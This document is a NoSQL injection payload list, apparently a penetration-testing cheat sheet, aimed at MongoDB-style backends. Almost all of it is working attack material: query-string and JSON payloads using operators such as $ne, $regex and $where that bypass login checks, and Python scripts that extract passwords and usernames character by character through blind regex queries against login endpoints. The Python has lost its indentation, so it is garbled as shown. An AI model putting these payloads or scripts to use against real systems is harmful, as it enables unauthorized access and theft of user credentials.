## NoSQL Injection Payload List

## Generic NoSQL Injection Payloads

```
/?search=admin' && this.password%00 --> Check if the field
password exists
/?search=admin' && this.password &&
this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password &&
this.password.match(/^a.*$/)%00
/?search=admin' && this.password &&
this.password.match(/^b.*$/)%00
/?search=admin' && this.password &&
this.password.match(/^c.*$/)%00...
/?search=admin' && this.password &&
this.password.match(/^duvj.*$/)%00...
/?search=admin' && this.password &&
this.password.match(/^duvj78i3u$/)%00 Found
username[$ne]=1$password[$ne]=1
username[$regex]=^adm$password[$ne]=1
username[$regex]=.{25}&pass[$ne]=1
username[$eq]=admin$password[$ne]=1
username[$ne]=admin&pass[$lt]=s
username[$ne]=admin&pass[$gt]=s
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne
]=7
{ $where: "this.credits == this.debits" }
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
|| 1==1//    or    ' || 1==1%00
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp"
}}
```

## Blind NoSQL Injection Auth Bypass Payloads

```
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase +
string.digits + "_@{}-/()!\"$%=^[];"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
```

```
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex":
"^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```

## NoSQL Injection Auth Bypass Payloads

```
username[$ne]=toto&password[$ne]=toto
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt":
undefined} }
```

## MongoDB Payloads

```
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return
1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
```

```
{$gt: ''}
[$ne]=1
```

## Brute-Force Login Usernames and Passwords from POST Login

```
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) +
list(string.digits) + ["\\"+c for c in
string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login":
"login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers,
cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for
username "+username)
return password[1:].replace("\\", "")
def get_usernames():
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*",
"login": "login"}
for c in possible_chars:
username = "^" + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers,
cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print("Found username starting with "+c)
while True:
for c2 in possible_chars:
params["username[$regex]"] = username + c2 + ".*"
if int(requests.post(url, data=params, headers=headers,
cookies=cookies, verify=False,
allow_redirects=False).status_code) == 302:
username += c2
print(username)
break
if c2 == possible_chars[-1]:
```

```
print("Found username: "+username[1:])
usernames.append(username[1:])
break
return usernames
for u in get_usernames():
get_password(u)
```